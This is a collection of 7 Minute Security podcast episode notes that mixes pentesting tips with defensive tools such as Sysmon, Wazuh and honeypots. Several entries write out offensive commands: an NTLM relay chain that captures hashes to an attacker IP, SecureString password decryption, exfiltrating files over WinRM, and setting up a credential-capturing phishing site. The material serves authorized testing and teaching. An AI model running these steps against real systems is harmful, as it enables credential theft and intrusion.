7 Minute Security

In today's tale of pentest pwnage we talk about: The importance of local admin and how access to even one server might mean instant, full control over their backup or virtualization infrastructure Copying files via WinRM when copying over SMB is blocked: $sess = New-PSSession -Computername SERVER-I-HAVE-LOCAL-ADMIN-ACCESS-ON -Credential * ...then provide your creds...and then: copy-item c:\superimportantfile.doc -destination c:\my-local-hard-drive\superimportantfile.doc -fromsession $sess If you come across PowerShell code that crafts a secure string credential, you may able to decrypt the password variable with: [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MyVarIWantToDecryptGoesHere))  

Today Amanda Berlin from Blumira teaches us how to unlock the power of Sysmon so we can gain insight into the good, bad and ugly things happening on our corporate endpoints!  Key takeaways: Sysmon turns your windows logging up to 11, and pairs well with a config file like this one or this one. Careful if you are are running sysmon on non-SSD drives - the intense number of writes might bring that disk to its knees. Just getting started logging all the things with sysmon?  Why not pump those logs into a free logging/alerting system like Wazuh? I think it was SolarWinds log collector I was trying to think of while recording the show, not CloudTrail.

Today my pal Paul from Project7 and I hack the heck out of Billy Madison a vulnerable virtual machine that is celebrating its 7th anniversary this month!

Today, sadly, might be the last episode of DIY pentest dropbox tips for a while because I found (well, ChatGPT did actually) the missing link to 100% automate a Kali Linux install! Check episode #449 for more info on building your Kali preseed file, but essentially the last line in my file runs a kali.sh script to download/install all the pentest tools I want. The "missing link" part is I figured out how to get Kali to reboot and then run a script one time to complete all the post-install stuff. So at the bottom of my kali.sh is this: sudo wget https://somesite/kali-docker.sh -O /opt/kali-docker.sh sudo chmod +x /opt/kali-docker.sh sudo touch /flag sudo wget https://somesite/docker.service -O /etc/systemd/system/mydocker.service sudo systemctl daemon-reload sudo systemctl enable mydocker.service The contents of docker.service are: [Unit] Description=Docker install [Service] Type=simple ExecStart=/opt/kali-docker.sh [Install] WantedBy=multi-user.target The beginning and end snippets of kali-docker.sh are:

Hey friends, today I'm super excited to share I found the missing link! Specifically, the missing piece that now allows me to create fully automated Windows 10 installs that serve as virtual pentest jumpboxes. Here are the high points: When your deployment script is finishing and you need the system to reboot and run some final commands, temporarily add your account as an auto-login account like so: new-itemproperty -path 'hklm:\software\microsoft\windows nt\currentversion\winlogon' -name AutoAdminLogon -value 1 -force new-itemproperty -path 'hklm:\software\microsoft\windows nt\currentversion\winlogon' -name DefaultUserName -value "your-local-user" -force new-itemproperty -path 'hklm:\software\microsoft\windows nt\currentversion\winlogon' -name DefaultPassword -value "your-password" -force Then tell Windows to run your final script one time after automatically logging in as your-local-user: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v MyRunOnceKey /t REG_SZ /d "c:\your-final-script.

In today's tale of pwnage, we'll talk about how domain trusts can be dangerous because they have...well...trust issues.

Today we talk about crafting cool cred-capturing phishing campaigns with Caddy server! Here's a quick set of install commands for Ubuntu: sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list sudo apt update sudo apt install caddy -y Create an empty directory for your new site, and then create a file called Caddyfile. If all you want is a simple static site (and you've already pointed DNS for yourdomain.com to your Ubuntu droplet, just put the domain name in the Caddyfile: domain.com Then type sudo caddy run - and that's it! You'll serve up a blank site with lovely HTTPS goodness! If you want to get more fancy, make a index.html with a basic phishing portal: Your rad awesome eyeball cool phishing portal! body {

Today we had a blast playing with Wazuh as a SIEM you can use for work and/or home. Inspiration for this episode came from Network Chuck. This one-liner will literally get Wazuh installed in about 5 minutes: curl -sO https://packages.wazuh.com/4.4/wazuh-install.sh && sudo bash ./wazuh-install.sh -a P.S. if you accidentally close your command window before writing down the admin password (like I did), you can use this command to retrieve it: sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt Once Wazuh is installed, I recommend going to Management > Configuration > Edit Configuration, look for a section that starts with  and change no to yes. Also, before you start deploying agents, I recommend making some groups for them, which I believe has to be done at the command line: /var/ossec/bin/agent_groups -a -g windows-boxes -q /var/ossec/bin/agent_groups -a -g linux -q From there you should be ready to start rockin' some agent installs. Have fun!

Oooo, giggidy! Today's tale of pentest pwnage is about pwning vCenter with CVE-2021-44228 - a vulnerability that lets us bypass authentication entirely and do/take what we want from vCenter! Key links to make the magic happen: How to exploit log4j manually in vCenter How to automate the attack! Tool to steal the SAML database you extract from vCenter

Today me and my pal Paul from Project7 did a live hacking session and finally got the Callahan Auto brake pad Web app back online! Hopefully you enjoyed this hacking series. The feedback has been great, so we may have to take a crack at Billy in the near future as well.

Hey friends, today we're continuing our series on pwning the Tommy Boy VM on VulnHub VM! P.S. did you miss part one? Check it out on YouTube. Joe "The Machine" Skeen and I had a blast poking and prodding at the VM in hopes to fix the broken Callahan Auto brake-ordering Web app. Some tips/tricks we cover: It's always a good idea to look at a site's robots.txt file crunch is awesome for making wordlists fcrackzip is rad for cracking encrypted zip files dirbuster works well for busting into hidden files and subfolders exiftool works well to pull metadata out of images

Today I'm excited to share a featured interview with our new friend Mike Toole of Blumira. We talk about all things EDR, including: How does it differ from something like Windows Defender? What things do I need to keep in mind if I'm in the market for an EDR purchase? Is Mac EDR any good? How do attackers bypass EDR? Will AI create industructible malware, take over the human race and then use our bodies for batteries?

Holy schnikes - this episode is actually 7 minutes long! What a concept! Anyway, today I give you a couple tips that have helped me pwn some internal networks the last few weeks, including: Getting a second (and third?) opinion on Active Directory Certificate Services vulnerabilities! Analyzing the root domain object in BloodHound to find some misconfigs that might equal instant domain admin access!    

Hey friends! Today we're taking a second look at ADHD - Active Defense Harbinger Distribution - a cool VM full of tools designed to annoy/attribute/attack pesky attackers! The tools covered today include: PHP-HTTP-TARPIT A tool to confuse and waste bot/scanner/hacker time. Grab it here and check out our setup instructions: sudo git clone https://github.com/msigley/PHP-HTTP-Tarpit.git /opt/tarpit cd /opt/tarpit sudo mv la_brea.php /var/www/html/index.php cd /var/www/html/ # Delete the default HTMLM files that are there sudo rm DEFAULT .HTML FILES # Start/restart apache2 sudo service apache2 stop sudo service apache2 start # It's easier to see PHP-HTTP-TARPIT in action from command line: curl -i http://IP.RUNNING.THE.TARPIT Spidertrap This tool tangles Web visitors in a never-ending maze of pages with links! sudo git clone https://github.com/adhdproject/spidertrap.git /opt/spidertrap cd /opt/spidertrap # Open spidertrap.py and change listening port from 8080 to 80 sudo nano spidertrap.py # Run the trap

Hey friends! Today we're looking at ADHD - Active Defense Harbinger Distribution - a cool VM full of tools designed to annoy/attribute/attack pesky attackers! ADHD gets you up and running with these tools quickly, but the distro hasn't been updated in a while, so I switched to a vanilla Kali system and setup a cowrie SSH honeypot as follows (see 7ms.us for full list of commands).

Today we're talking about reducing anxiety by hacking your mental health with these tips: Using personal automation to text people important reminders Using Remind to create a personal communication "class" with your family members Using Smartsheet (not a sponsor) to create daily email "blasts" to yourself about all the various project todos you need to tackle

Today we look at LDAP Firewall - a cool (and free!) way to defend your domain controllers against SharpHound enumeration, LAPS password enumeration, and the noPac attack.

Hey friends! This week I spoke at the Secure360 conference in Minnesota on Simple Ways to Test Your SIEM. This is something I covered a while back on the podcast, but punched up the content a bit and built a refreshed a two-part GitHub gist that covers: Questions you can ask a prospective SIEM/SOC solution to figure out which one is the right fit for you All the tools/tips/scripts/etc. you need to run through 7 (and more!) simple ways to test your SIEM!

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of

Today we're excited to share a featured interview with our new friend Jim Simpson, CEO of Blumira. Jim was in security before it was hip/cool/lucrative, working with a number of startups as well as some big names like Duo. Blumira and 7 Minute Security have a shared love for helping SMBs be more secure, so it was great to chat with Jim about the IT/security challenges faced by SMBs, and what we can do make security more simple and accessible for them.
